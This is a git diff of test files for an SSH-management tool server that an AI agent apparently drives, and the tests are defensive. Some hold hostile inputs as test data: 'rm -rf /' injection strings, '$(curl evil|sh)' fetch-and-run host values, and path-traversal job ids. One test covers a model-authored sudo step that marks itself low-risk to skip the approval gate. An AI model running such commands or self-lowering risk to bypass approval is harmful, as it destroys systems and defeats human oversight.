deleteGroup: () => {}, + addServersToGroup: () => ({}), removeServersFromGroup: () => ({}), + }, + }); + assert(isMcp(r)); + assert.strictEqual(calls[0].description, 'frontend tier'); +}); + +await test('fleetConnections op=status returns an MCP response', async () => { + const r = await fleetConnections({ + args: { op: 'status' }, + deps: { + connections: new Map(), connectionTimestamps: new Map(), + keepaliveIntervals: new Map(), + isConnectionValid: async () => true, closeConnection: () => {}, + cleanupOldConnections: () => {}, getConnection: async () => ({}), + CONNECTION_TIMEOUT: 1800000, KEEPALIVE_INTERVAL: 300000, + }, + }); + assert(isMcp(r)); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-index-registration.js b/tests/test-index-registration.js index d4c179b..0aa723f 100644 --- a/tests/test-index-registration.js +++ b/tests/test-index-registration.js @@ -53,10 +53,10 @@ await test('every TOOL_GROUPS entry is registered in index.js', () => { const registered = registeredNames(indexSrc); const missing = getAllTools().filter(name => !registered.has(name)); assert.strictEqual(missing.length, 0, - `tools listed in TOOL_GROUPS but never registered: ${missing.join(', ')}`); + `tools in TOOL_GROUPS but never registered: ${missing.join(', ')}`); }); -await test('every registerToolConditional() in index.js corresponds to a TOOL_GROUPS entry', () => { +await test('every registerToolConditional() corresponds to a TOOL_GROUPS entry', () => { const registered = registeredNames(indexSrc); const known = new Set(getAllTools()); const orphans = [...registered].filter(name => !known.has(name)); @@ -64,6 +64,12 @@ await test('every registerToolConditional() in index.js corresponds to a TOOL_GR `tools registered in index.js but missing from TOOL_GROUPS: ${orphans.join(', ')}`); }); +await test('exactly 13 tools are registered', () => { + const registered = registeredNames(indexSrc); + assert.strictEqual(registered.size, 13, + `expected 13 registered tools, got ${registered.size}: ${[...registered].join(', ')}`); +}); + await test('count of registered tools matches registry exactly', () => { const registered = registeredNames(indexSrc); assert.strictEqual(registered.size, getAllTools().length, @@ -77,17 +83,24 @@ await test('every registered tool has an annotations entry (drift check)', () => `tools registered without annotations: ${missing.join(', ')}`); }); +await test('no legacy 51-surface tool name survives in a registration', () => { + const registered = registeredNames(indexSrc); + const legacy = ['ssh_execute', 'ssh_upload', 'ssh_cat', 'ssh_tail', + 'ssh_systemctl', 'ssh_tunnel_create', 'ssh_deploy_artifact']; + const survivors = legacy.filter(name => registered.has(name)); + assert.strictEqual(survivors.length, 0, + `legacy tool names still registered: ${survivors.join(', ')}`); +}); + await test('TOOL_GROUPS has no duplicate names across groups', () => { const all = getAllTools(); - const uniq = new Set(all); - assert.strictEqual(all.length, uniq.size, - `duplicates detected in TOOL_GROUPS: ${all.length} entries, ${uniq.size} unique`); + assert.strictEqual(all.length, new Set(all).size, + `duplicates detected in TOOL_GROUPS`); }); await test('every group declared in TOOL_GROUPS is non-empty', () => { for (const [name, tools] of Object.entries(TOOL_GROUPS)) { - assert(Array.isArray(tools) && tools.length > 0, - `group ${name} is empty or not an array`); + assert(Array.isArray(tools) && tools.length > 0, `group ${name} is empty`); } }); diff --git a/tests/test-job-tracker.js b/tests/test-job-tracker.js new file mode 100644 index 0000000..7517dae --- /dev/null +++ b/tests/test-job-tracker.js @@ -0,0 +1,259 @@ +#!/usr/bin/env node +/** + * Test suite for src/job-tracker.js -- ssh_run detach/job-status/job-kill. + * Run: node tests/test-job-tracker.js + */ +import assert from 'assert'; +import { + JOBS_ROOT, + newJobId, + buildDetachCommand, + buildJobStatusCommand, + parseJobStatus, + buildJobKillCommand, +} from '../src/job-tracker.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing job-tracker\n'); + +// --- JOBS_ROOT ----------------------------------------------------------- +test('JOBS_ROOT: jobs live under ~/.ssh-manager/jobs', () => { + assert.strictEqual(JOBS_ROOT, '$HOME/.ssh-manager/jobs'); +}); + +// --- newJobId ------------------------------------------------------------ +test('newJobId: returns a non-empty, shell-safe id', () => { + const id = newJobId(); + assert(typeof id === 'string' && id.length > 0); + // Only safe characters -- the id becomes a directory name. + assert(/^[A-Za-z0-9_-]+$/.test(id), 'id is filesystem/shell safe'); +}); + +test('newJobId: successive ids are unique', () => { + const seen = new Set(); + for (let i = 0; i < 200; i++) seen.add(newJobId()); + assert.strictEqual(seen.size, 200, 'no collisions across 200 ids'); +}); + +test('newJobId: every generated id passes the job-id guard', () => { + // A generated id must always be a legal job-status/kill target. + for (let i = 0; i < 200; i++) { + assert.doesNotThrow(() => buildJobStatusCommand(newJobId())); + } +}); + +// --- buildDetachCommand -------------------------------------------------- +test('buildDetachCommand: creates the per-job dir and returns {jobId, command, ...}', () => { + const r = buildDetachCommand('long-build.sh'); + assert(r.jobId, 'job id present'); + assert(r.command.includes('mkdir -p'), 'job dir created'); + assert(r.command.includes(r.jobId), 'job dir path uses the id'); + assert(r.logPath.includes(r.jobId), 'log path under the job dir'); +}); + +test('buildDetachCommand: detaches with setsid and writes rc on completion', () => { + const r = buildDetachCommand('make all'); + assert(r.command.includes('setsid'), 'detached from the SSH session'); + // `echo $? > .../rc` -- completion marker, written after the command. + assert(/echo \$\? >/.test(r.command), 'rc file captures the exit code'); + assert(r.command.includes('/rc'), 'rc file inside the job dir'); +}); + +test('buildDetachCommand: records the pid for later job-kill', () => { + const r = buildDetachCommand('sleep 100'); + // `echo $! > .../pid` -- the backgrounded pid. + assert(/echo \$! >/.test(r.command), 'pid recorded'); + assert(r.command.includes('/pid'), 'pid file inside the job dir'); +}); + +test('buildDetachCommand: log + stderr both redirected into the job log', () => { + const r = buildDetachCommand('noisy.sh'); + assert(r.command.includes('2>&1'), 'stderr folded into stdout'); + assert(r.command.includes('/log'), 'job log inside the job dir'); +}); + +test('buildDetachCommand: the user command is shell-quoted (injection-safe)', () => { + const r = buildDetachCommand("x'; rm -rf /"); + // The injection must only appear inside the sh -c quoted argument, never at + // the outer shell level before setsid. POSIX single-quoting of the inner + // script keeps the rm text inside an sh-c argument (causes sh syntax error + // for the injected script rather than executing arbitrary commands). + const shIdx = r.command.indexOf('setsid sh -c '); + const rmIdx = r.command.indexOf('rm -rf /'); + assert(shIdx >= 0, 'inner script passed via setsid sh -c'); + assert(rmIdx > shIdx, 'rm text only appears inside the sh -c argument'); +}); + +test('buildDetachCommand: an explicit job id is honored', () => { + const r = buildDetachCommand('echo hi', { jobId: 'fixed-id-1' }); + assert.strictEqual(r.jobId, 'fixed-id-1'); + assert(r.command.includes('fixed-id-1')); +}); + +test('buildDetachCommand: a hostile explicit job id is rejected', () => { + assert.throws(() => buildDetachCommand('echo hi', { jobId: '../x' }), /invalid job id/); + assert.throws(() => buildDetachCommand('echo hi', { jobId: 'a;b' }), /invalid job id/); + assert.throws(() => buildDetachCommand('echo hi', { jobId: '$(x)' }), /invalid job id/); +}); + +test('buildDetachCommand: empty command is rejected', () => { + assert.throws(() => buildDetachCommand(''), /command is required/); + assert.throws(() => buildDetachCommand(null), /command is required/); +}); + +// --- buildJobStatusCommand ----------------------------------------------- +test('buildJobStatusCommand: reads rc, pid, and the log size', () => { + const cmd = buildJobStatusCommand('job-7'); + assert(cmd.includes('job-7'), 'targets the job dir'); + assert(cmd.includes('/rc'), 'reads the rc file'); + assert(cmd.includes('/pid'), 'reads the pid file'); + assert(cmd.includes('/log'), 'inspects the log'); +}); + +test('buildJobStatusCommand: emits parseable key markers', () => { + const cmd = buildJobStatusCommand('j'); + // The command prints lines the parser keys on. + assert(cmd.includes('RC='), 'rc marker emitted'); + assert(cmd.includes('PID='), 'pid marker emitted'); + assert(cmd.includes('LOGSIZE='), 'log size marker emitted'); +}); + +test('buildJobStatusCommand: reads the log tail from a byte offset', () => { + const cmd = buildJobStatusCommand('j', { offset: 4096 }); + // tail -c +N is 1-indexed: +1 = whole file, so offset 4096 -> +4097 to skip + // exactly 4096 bytes. The literal 4097 appears in the command (off + 1). + assert(cmd.includes('4097'), 'offset + 1 threaded into tail -c (1-indexed)'); + assert(/tail -c|dd .*bs=1.*skip=/.test(cmd), 'reads from the offset'); +}); + +test('buildJobStatusCommand: a negative offset clamps to a positive tail -c', () => { + // A wrapped/negative offset must never produce `tail -c +-N`. + const cmd = buildJobStatusCommand('j', { offset: -500 }); + assert(/tail -c \+1 /.test(cmd), 'negative offset clamps to +1 (whole file)'); + assert(!cmd.includes('+-'), 'no negative argument to tail -c'); +}); + +test('buildJobStatusCommand: a huge (>2^31) offset stays a positive tail -c', () => { + // 3 GiB log: 32-bit `| 0` would wrap negative; Math.floor keeps it positive. + const huge = 3 * 1024 * 1024 * 1024; // 3221225472, > 2^31 + const cmd = buildJobStatusCommand('j', { offset: huge }); + assert(cmd.includes(String(huge + 1)), 'huge offset + 1 threaded verbatim'); + assert(!cmd.includes('+-'), 'no negative argument to tail -c'); +}); + +test('buildJobStatusCommand: a missing job dir is reported, not a hard error', () => { + const cmd = buildJobStatusCommand('gone'); + // The command tolerates absence so the parser can say "unknown". + assert(/MISSING|2>\/dev\/null|test -d/.test(cmd), 'absence handled in-band'); +}); + +test('buildJobStatusCommand: empty job id is rejected', () => { + assert.throws(() => buildJobStatusCommand(''), /invalid job id/); +}); + +test('buildJobStatusCommand: a hostile job id is rejected', () => { + assert.throws(() => buildJobStatusCommand('../x'), /invalid job id/); + assert.throws(() => buildJobStatusCommand('a;b'), /invalid job id/); + assert.throws(() => buildJobStatusCommand('$(x)'), /invalid job id/); +}); + +// --- parseJobStatus ------------------------------------------------------ +test('parseJobStatus: rc file present -> done with that exit code', () => { + const st = parseJobStatus( + 'STATE=present\nRC=0\nPID=1234\nLOGSIZE=512\n##LOG##\nbuild complete', + ); + assert.strictEqual(st.state, 'done'); + assert.strictEqual(st.exitCode, 0); + assert.strictEqual(st.logChunk, 'build complete'); + assert.strictEqual(st.logSize, 512); +}); + +test('parseJobStatus: rc present and non-zero -> done, failure exit surfaced', () => { + const st = parseJobStatus('STATE=present\nRC=2\nPID=99\nLOGSIZE=10\n##LOG##\nerr'); + assert.strictEqual(st.state, 'done'); + assert.strictEqual(st.exitCode, 2); +}); + +test('parseJobStatus: no rc file -> running, exit code is null', () => { + // rc absent: the status command prints RC= empty. Job not finished. + const st = parseJobStatus('STATE=present\nRC=\nPID=4567\nLOGSIZE=88\n##LOG##\npartial'); + assert.strictEqual(st.state, 'running', 'rc absent => running, NOT pid-checked'); + assert.strictEqual(st.exitCode, null); + assert.strictEqual(st.pid, 4567); +}); + +test('parseJobStatus: completion ignores PID liveness entirely', () => { + // rc present even though PID would look dead -- still done. No PID-reuse race. + const st = parseJobStatus('STATE=present\nRC=0\nPID=\nLOGSIZE=4\n##LOG##\nout'); + assert.strictEqual(st.state, 'done', 'rc presence wins; empty PID irrelevant'); +}); + +test('parseJobStatus: missing job dir -> unknown state', () => { + const st = parseJobStatus('STATE=missing'); + assert.strictEqual(st.state, 'unknown'); +}); + +test('parseJobStatus: logSize feeds the next incremental read', () => { + const st = parseJobStatus('STATE=present\nRC=\nPID=1\nLOGSIZE=2048\n##LOG##\n'); + assert.strictEqual(st.logSize, 2048, 'caller passes this back as next offset'); +}); + +// --- buildJobKillCommand ------------------------------------------------- +test('buildJobKillCommand: reads the recorded pid for the job', () => { + const cmd = buildJobKillCommand('job-9'); + assert(cmd.includes('job-9'), 'targets the job dir'); + assert(cmd.includes('/pid'), 'reads the pid file'); + assert(cmd.includes('cat '), 'cat the pid file'); +}); + +test('buildJobKillCommand: kills the process GROUP, not just the pid', () => { + const cmd = buildJobKillCommand('j'); + // setsid makes the job a group leader; kill - - hits the group. + assert(/kill -[A-Z]+ -/.test(cmd) || cmd.includes('-- -'), 'negative pid => process group'); +}); + +test('buildJobKillCommand: escalates TERM then KILL', () => { + const cmd = buildJobKillCommand('j'); + assert(cmd.includes('TERM'), 'graceful TERM first'); + assert(cmd.includes('KILL'), 'KILL escalation'); + // KILL must come after TERM in the command text. + assert(cmd.indexOf('TERM') < cmd.indexOf('KILL'), 'TERM precedes KILL'); +}); + +test('buildJobKillCommand: tolerates a missing or already-dead job', () => { + const cmd = buildJobKillCommand('gone'); + assert(/2>\/dev\/null|test -|MISSING/.test(cmd), 'absence handled in-band'); +}); + +test('buildJobKillCommand: empty job id is rejected', () => { + assert.throws(() => buildJobKillCommand(''), /invalid job id/); + assert.throws(() => buildJobKillCommand(null), /invalid job id/); +}); + +test('buildJobKillCommand: a hostile job id is rejected', () => { + assert.throws(() => buildJobKillCommand('../x'), /invalid job id/); + assert.throws(() => buildJobKillCommand('a;b'), /invalid job id/); + assert.throws(() => buildJobKillCommand('$(x)'), /invalid job id/); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-monitoring-tools.js b/tests/test-monitoring-tools.js index 5dd9ab0..46fef5b 100644 --- a/tests/test-monitoring-tools.js +++ b/tests/test-monitoring-tools.js @@ -24,6 +24,7 @@ import { computeStatus, extractJournalLines, } from '../src/tools/monitoring-tools.js'; +import { unwrapTimeout } from './util-timeout-unwrap.js'; let passed = 0, failed = 0; const fails = []; async function test(name, fn) { @@ -44,7 +45,9 @@ class FakeClient { this.script = script || (() => ({ stdout: '', stderr: '', code: 0 })); this.streams = []; this.lastCommand = null; this.commands = []; } - exec(cmd, cb) { + exec(rawCmd, cb) { + // Recover inner command from `timeout -k N N sh -c ''` wrapper. + const cmd = unwrapTimeout(rawCmd); this.lastCommand = cmd; this.commands.push(cmd); const s = new FakeStream(); this.streams.push(s); setImmediate(() => { @@ -447,6 +450,71 @@ await test('ssh_monitor process: typed process list sorted by cpu desc', async ( assert(parsed.data.process[0].cpu_pct >= parsed.data.process[1].cpu_pct); }); +await test('ssh_monitor overview: delegates to health_check, returns typed overview', async () => { + // Full health-check section output -- the overview path JSON.parses the + // delegated result; this exercises the parse inside the new try block. + const stdout = [ + '---CPU---', + '%Cpu(s): 4.0 us, 2.0 sy, 0.0 ni, 93.0 id, 1.0 wa, 0.0 hi, 0.0 si, 0.0 st', + '---MEM---', + ' total used free shared buff/cache available', + 'Mem: 16000000 4000000 8000000 10000 4000000 11000000', + '---DISK---', + 'Filesystem 1B-blocks Used Available Use% Mounted on', + '/dev/sda1 100000000000 20000000000 80000000000 20% /', + '---LOAD---', + '0.20 0.15 0.10 1/200 12345', + '---UPTIME---', + '86400.00 70000.00', + '---CORES---', + '4', + ].join('\n'); + const client = new FakeClient({ script: () => ({ stdout, code: 0 }) }); + const r = await handleSshMonitor({ + getConnection: async () => client, + args: { server: 's', type: 'overview', format: 'json' }, + }); + assert(!r.isError, 'overview must succeed'); + const parsed = JSON.parse(r.content[0].text); + assert.strictEqual(parsed.success, true); + assert.strictEqual(parsed.data.type, 'overview'); + assert.strictEqual(parsed.data.overview.cpu.idle_pct, 93); + assert.strictEqual(parsed.data.overview.memory.used_bytes, 4000000); +}); + +await test('ssh_monitor overview: connection failure surfaces as isError, no crash', async () => { + const r = await handleSshMonitor({ + getConnection: async () => { throw new Error('host down'); }, + args: { server: 's', type: 'overview', format: 'json' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('host down')); +}); + +await test('ssh_monitor overview: unparseable delegate payload degrades, never throws', async () => { + // Inject a health-check delegate whose successful (non-isError) result + // carries a non-JSON text body. Without the JSON.parse try/catch this + // throws an unhandled SyntaxError out of handleSshMonitor. + const garbageDelegate = async () => ({ + content: [{ type: 'text', text: '<<>>' }], + // no isError -> the overview path falls through to JSON.parse + }); + let r; + await assert.doesNotReject(async () => { + r = await handleSshMonitor({ + getConnection: async () => { throw new Error('unused'); }, + args: { server: 's', type: 'overview', format: 'json' }, + _healthCheck: garbageDelegate, + }); + }); + const parsed = JSON.parse(r.content[0].text); + assert.strictEqual(parsed.success, false); + assert.strictEqual(parsed.tool, 'ssh_monitor'); + assert(parsed.error.includes('unparseable'), + `expected an unparseable-payload error, got: ${parsed.error}`); + assert.strictEqual(r.isError, true); +}); + // --- handleSshServiceStatus --------------------------------------------- await test('ssh_service_status: parses show output into typed record', async () => { diff --git a/tests/test-output-formatter.js b/tests/test-output-formatter.js index 9d09999..350c8a3 100644 --- a/tests/test-output-formatter.js +++ b/tests/test-output-formatter.js @@ -189,6 +189,34 @@ test('formatExecResult: negative durationMs clamps to 0', () => { assert.strictEqual(r.duration_ms, 0); }); +test('formatExecResult: ps stdout is compressed by default', () => { + const rows = Array.from({ length: 40 }, (_, i) => `r${i}`).join('\n'); + const r = formatExecResult({ + server: 's', command: 'ps -eo pid,args', stdout: 'HEAD\n' + rows, + stderr: '', code: 0, durationMs: 1, + }); + assert(r.stdout.includes('compressed'), 'compressor footer present'); + assert(r.stdout.split('\n').length < 41, 'tail rows dropped'); +}); + +test('formatExecResult: raw:true skips compression', () => { + const rows = Array.from({ length: 40 }, (_, i) => `r${i}`).join('\n'); + const r = formatExecResult({ + server: 's', command: 'ps -eo pid,args', stdout: 'HEAD\n' + rows, + stderr: '', code: 0, durationMs: 1, raw: true, + }); + assert(!r.stdout.includes('compressed'), 'no compression when raw'); + assert.strictEqual(r.stdout, 'HEAD\n' + rows); +}); + +test('formatExecResult: non-ps/ls command output is untouched', () => { + const r = formatExecResult({ + server: 's', command: 'echo hi', stdout: 'hi\nthere', + stderr: '', code: 0, durationMs: 1, + }); + assert.strictEqual(r.stdout, 'hi\nthere'); +}); + // --- formatBytes --------------------------------------------------------- test('formatBytes: 0 -> "0 B"', () => assert.strictEqual(formatBytes(0), '0 B')); test('formatBytes: sub-KB stays in bytes', () => assert.strictEqual(formatBytes(512), '512 B')); @@ -203,40 +231,37 @@ test('formatDuration: minutes', () => assert.strictEqual(formatDuration(83_000), test('formatDuration: negative clamps to 0 ms', () => assert.strictEqual(formatDuration(-100), '0 ms')); // --- renderMarkdown ------------------------------------------------------ -test('renderMarkdown: success header uses [ok] marker and bold exit 0', () => { +test('renderMarkdown: success header is a renderHeader line, no bold', () => { const md = renderMarkdown({ server: 'prod01', command: 'x', cwd: null, exit_code: 0, success: true, duration_ms: 2340, stdout: '', stderr: '', truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, }); - const firstLine = md.split('\n')[0]; - assert(firstLine.startsWith('[ok] **ssh_execute**'), `expected [ok] marker, got: ${firstLine}`); - assert(firstLine.includes('`prod01`'), 'server in backticks'); - assert(firstLine.includes('exit 0'), 'exit 0 present'); - assert(firstLine.includes('2.34 s'), 'duration with unit'); - assert(md.includes('`$ x`'), 'command shown with $ prefix in backticks'); + assert.strictEqual(md.split('\n')[0], '[ok] ssh_execute · prod01 · exit 0 · 2.34 s'); + assert(!md.includes('**'), 'no markdown bold'); + assert(md.includes('\n$ x'), 'command on its own line with $ prefix'); }); -test('renderMarkdown: failure header uses [err] marker', () => { +test('renderMarkdown: failure header uses [err] marker and exit code', () => { const md = renderMarkdown({ server: 's', command: 'false', cwd: null, exit_code: 127, success: false, duration_ms: 0, stdout: '', stderr: 'not found', truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, }); - const firstLine = md.split('\n')[0]; - assert(firstLine.startsWith('[err] **ssh_execute**'), 'failure marker'); - assert(firstLine.includes('exit 127'), 'exit 127 present'); - assert(md.includes('**stderr**'), 'stderr label'); - assert(md.includes('not found')); + assert(md.split('\n')[0].startsWith('[err] ssh_execute'), 'failure marker'); + assert(md.includes('exit 127'), 'exit 127 in header'); + assert(md.includes('stderr:'), 'stderr label'); + assert(md.includes(' not found'), 'stderr indented'); }); -test('renderMarkdown: cwd rendered as italic backticked path on command line', () => { +test('renderMarkdown: cwd shown as plain (in PATH) on the command line', () => { const md = renderMarkdown({ server: 's', command: 'c', cwd: '/srv/app', exit_code: 0, success: true, duration_ms: 100, stdout: '', stderr: '', truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, }); - assert(md.includes('*(in `/srv/app`)*'), 'cwd italic+backticked'); + assert(md.includes('$ c (in /srv/app)'), 'cwd shown plain'); + assert(!md.includes('*'), 'no markdown italic'); }); test('renderMarkdown: no cwd -> no "(in ...)" fragment', () => { @@ -248,32 +273,33 @@ test('renderMarkdown: no cwd -> no "(in ...)" fragment', () => { assert(!md.includes('(in '), 'no cwd fragment when null'); }); -test('renderMarkdown: stdout wrapped in ```text fence', () => { +test('renderMarkdown: stdout indented 2 spaces, no fences', () => { const md = renderMarkdown({ server: 's', command: 'c', cwd: null, exit_code: 0, success: true, - duration_ms: 1, stdout: 'hello', stderr: '', + duration_ms: 1, stdout: 'hello\nworld', stderr: '', truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, }); - assert(md.includes('```text\nhello\n```'), 'stdout in fenced block'); + assert(md.includes('\n hello\n world'), 'stdout indented'); + assert(!md.includes('```'), 'no fenced block'); }); -test('renderMarkdown: empty sections omitted', () => { +test('renderMarkdown: empty output sections omitted', () => { const md = renderMarkdown({ server: 's', command: 'c', cwd: null, exit_code: 0, success: true, duration_ms: 1, stdout: '', stderr: '', truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, }); - assert(!md.includes('```'), 'no fenced block when output empty'); - assert(!md.includes('**stderr**'), 'no stderr label when stderr empty'); + assert(!md.includes('stderr:'), 'no stderr label when stderr empty'); }); -test('renderMarkdown: truncation rendered as blockquote with human bytes', () => { +test('renderMarkdown: truncation rendered as plain elided footer', () => { const md = renderMarkdown({ server: 's', command: 'c', cwd: null, exit_code: 0, success: true, duration_ms: 1, stdout: 'partial', stderr: '', truncated: { stdout_bytes: 12345, stderr_bytes: 0, stdout_total: 22345, stderr_total: 0 }, }); - assert(md.includes('> elided: stdout 12.1 KB'), `expected human-readable blockquote, got: ${md}`); + assert(md.includes('elided: stdout 12.1 KB'), `expected plain elided footer, got: ${md}`); + assert(!md.includes('>'), 'no blockquote marker'); }); test('renderMarkdown: truncation shows both streams when both elided', () => { @@ -287,14 +313,15 @@ test('renderMarkdown: truncation shows both streams when both elided', () => { }); // --- makeMcpContent ------------------------------------------------------ -test('makeMcpContent: markdown (default)', () => { +test('makeMcpContent: compact is the default format', () => { const r = formatExecResult({ server: 's', command: 'c', stdout: 'out', stderr: '', code: 0, durationMs: 10, }); const c = makeMcpContent(r); assert.strictEqual(c.length, 1); assert.strictEqual(c[0].type, 'text'); - assert(c[0].text.includes('ssh_execute'), 'is markdown'); + assert(c[0].text.startsWith('[ok] ssh_execute'), 'compact render is the default'); + assert(!c[0].text.includes('```'), 'no fences in default output'); }); test('makeMcpContent: json is parseable and round-trips the wire shape', () => { @@ -339,9 +366,9 @@ test('integration: 100KB log with ANSI + error at tail round-trips through all h assert(r.truncated.stdout_bytes > 0); const md = renderMarkdown(r); - assert(md.includes('exit 139'), 'failure exit badge'); + assert(md.includes('exit 139'), 'failure exit in header'); assert(md.includes('elided'), 'truncation marker present'); - assert(md.startsWith('[err]'), 'failure marker leads the header'); + assert(md.startsWith('[err] ssh_execute'), 'failure marker leads the header'); const c = makeMcpContent(r, { format: 'both' }); assert.strictEqual(c.length, 2); diff --git a/tests/test-plan-tools.js b/tests/test-plan-tools.js index 49bf024..b2cf7f1 100644 --- a/tests/test-plan-tools.js +++ b/tests/test-plan-tools.js @@ -70,9 +70,18 @@ await test('stepRisk: health_check -> low', () => { assert.strictEqual(stepRisk('health_check'), 'low'); }); -await test('stepRisk: explicit override wins over table', () => { - assert.strictEqual(stepRisk('exec', 'high'), 'high'); - assert.strictEqual(stepRisk('exec_sudo', 'low'), 'low'); +await test('stepRisk: override may RAISE risk above the table value', () => { + assert.strictEqual(stepRisk('exec', 'high'), 'high'); // medium -> high + assert.strictEqual(stepRisk('download', 'medium'), 'medium'); // low -> medium +}); + +await test('stepRisk: override may NOT lower risk below the table value', () => { + // A model-supplied downward override must be ignored -- it cannot be used + // to slip a privileged action past the approve-token gate. + assert.strictEqual(stepRisk('exec_sudo', 'low'), 'high'); + assert.strictEqual(stepRisk('exec_sudo', 'medium'), 'high'); + assert.strictEqual(stepRisk('edit', 'low'), 'high'); + assert.strictEqual(stepRisk('exec', 'low'), 'medium'); }); await test('stepRisk: unknown action -> medium fallback', () => { @@ -539,6 +548,26 @@ await test('approve_token: step-level risk override to high triggers gate', asyn assert.match(body.error, /approval required/i); }); +await test('approve_token: downward risk override on exec_sudo step CANNOT bypass the gate', async () => { + // Model-authored step tries to self-classify a privileged action as `low` + // to skip the approve-token gate. stepRisk must clamp it back to `high`. + const sudoSpy = spy(async () => okResp('pwned')); + const r = await handleSshPlan({ + dispatch: { exec_sudo: sudoSpy }, + args: { + mode: 'run', server: 's', format: 'json', + plan: [{ action: 'exec_sudo', command: 'rm -rf /', risk: 'low' }], + }, + }); + // Gate must still fire: dispatch never called, approval still demanded. + assert.strictEqual(sudoSpy.calls.length, 0, 'privileged step must not run without approve_token'); + const body = JSON.parse(r.content[0].text); + assert.strictEqual(body.success, false); + assert.match(body.error, /approval required/i); + assert.strictEqual(body.meta.risky_steps[0].action, 'exec_sudo'); + assert.strictEqual(body.meta.risky_steps[0].risk, 'high', 'step still classified high despite downward override'); +}); + // -------------------------------------------------------------------------- // duration_ms + step IDs // -------------------------------------------------------------------------- diff --git a/tests/test-port-test-tools.js b/tests/test-port-test-tools.js index 17807b6..816049a 100644 --- a/tests/test-port-test-tools.js +++ b/tests/test-port-test-tools.js @@ -4,9 +4,10 @@ import assert from 'assert'; import { EventEmitter } from 'events'; import { parseDnsOutput, parseTcpOutput, parseTlsOutput, parseHttpOutput, - buildDnsCommand, buildTlsCommand, buildHttpCommand, + buildDnsCommand, buildTcpCommand, buildTlsCommand, buildHttpCommand, handleSshPortTest, } from '../src/tools/port-test-tools.js'; +import { unwrapTimeout } from './util-timeout-unwrap.js'; let passed = 0, failed = 0; const fails = []; async function test(name, fn) { @@ -20,7 +21,9 @@ class FakeStream extends EventEmitter { } class FakeClient { constructor({ script } = {}) { this.script = script || (() => ({ stdout: '', code: 0 })); this.commands = []; this.streams = []; } - exec(cmd, cb) { + exec(rawCmd, cb) { + // Recover inner command from `timeout -k N N sh -c ''` wrapper. + const cmd = unwrapTimeout(rawCmd); this.commands.push(cmd); const s = new FakeStream(); this.streams.push(s); setImmediate(() => { @@ -120,6 +123,11 @@ await test('buildHttpCommand: other port -> http scheme', () => { assert(buildHttpCommand('example.com', 8080, 5000).includes('http://')); }); +await test('buildTcpCommand: valid host builds a probe; unsafe host throws', () => { + assert(buildTcpCommand('example.com', 80, 5000).includes('example.com')); + assert.throws(() => buildTcpCommand('x/$(touch /tmp/p)/y', 80, 5000), /unsafe host/); +}); + // --- handleSshPortTest --------------------------------------------------- await test('handleSshPortTest: missing target_host -> structured fail', async () => { const r = await handleSshPortTest({ @@ -130,6 +138,17 @@ await test('handleSshPortTest: missing target_host -> structured fail', async () assert(r.content[0].text.includes('target_host is required')); }); +await test('handleSshPortTest: hostile target_host -> structured fail before connect', async () => { + let connected = false; + const r = await handleSshPortTest({ + getConnection: async () => { connected = true; throw new Error('must not connect'); }, + args: { server: 's', target_host: 'x/$(curl evil|sh)/y', target_port: 80, format: 'json' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('target_host')); + assert.strictEqual(connected, false, 'rejected before any SSH connection'); +}); + await test('handleSshPortTest: full chain tcp+dns with scripted results', async () => { const client = new FakeClient({ script: (cmd) => { if (cmd.startsWith('getent hosts')) return { stdout: '1.2.3.4 host.example.com\n', code: 0 }; diff --git a/tests/test-remote-search.js b/tests/test-remote-search.js new file mode 100644 index 0000000..d316d08 --- /dev/null +++ b/tests/test-remote-search.js @@ -0,0 +1,393 @@ +#!/usr/bin/env node +/** + * Test suite for src/remote-search.js -- the ssh_find search engine. + * Run: node tests/test-remote-search.js + */ +import assert from 'assert'; +import { + SEARCH_DEFAULTS, + assertSearchPath, + buildGrepCommand, + buildLocateCommand, + buildLsCommand, + parseGrepHits, + parseLocateHits, + parseLsRows, +} from '../src/remote-search.js'; +import { shQuote } from '../src/stream-exec.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing remote-search\n'); + +// --- SEARCH_DEFAULTS ----------------------------------------------------- +test('SEARCH_DEFAULTS: sane bounded defaults', () => { + assert.strictEqual(SEARCH_DEFAULTS.matchCap, 200); + assert.strictEqual(SEARCH_DEFAULTS.timeoutSecs, 20); + assert.strictEqual(SEARCH_DEFAULTS.crossMounts, false); + assert.deepStrictEqual( + SEARCH_DEFAULTS.prune, + ['/proc', '/sys', '/dev', '/run'], + ); +}); + +// --- assertSearchPath ---------------------------------------------------- +test('assertSearchPath: a normal path passes through', () => { + assert.strictEqual(assertSearchPath('/var/log'), '/var/log'); +}); + +test('assertSearchPath: trailing slash is trimmed (except root)', () => { + assert.strictEqual(assertSearchPath('/var/log/'), '/var/log'); +}); + +test('assertSearchPath: empty or missing path is rejected', () => { + assert.throws(() => assertSearchPath(''), /path is required/); + assert.throws(() => assertSearchPath(null), /path is required/); + assert.throws(() => assertSearchPath(' '), /path is required/); +}); + +test('assertSearchPath: bare root is refused without allow_root', () => { + assert.throws(() => assertSearchPath('/'), /refusing to search "\/"/); + assert.throws(() => assertSearchPath('//'), /refusing to search "\/"/); +}); + +test('assertSearchPath: bare root allowed only with explicit override', () => { + assert.strictEqual(assertSearchPath('/', { allowRoot: true }), '/'); 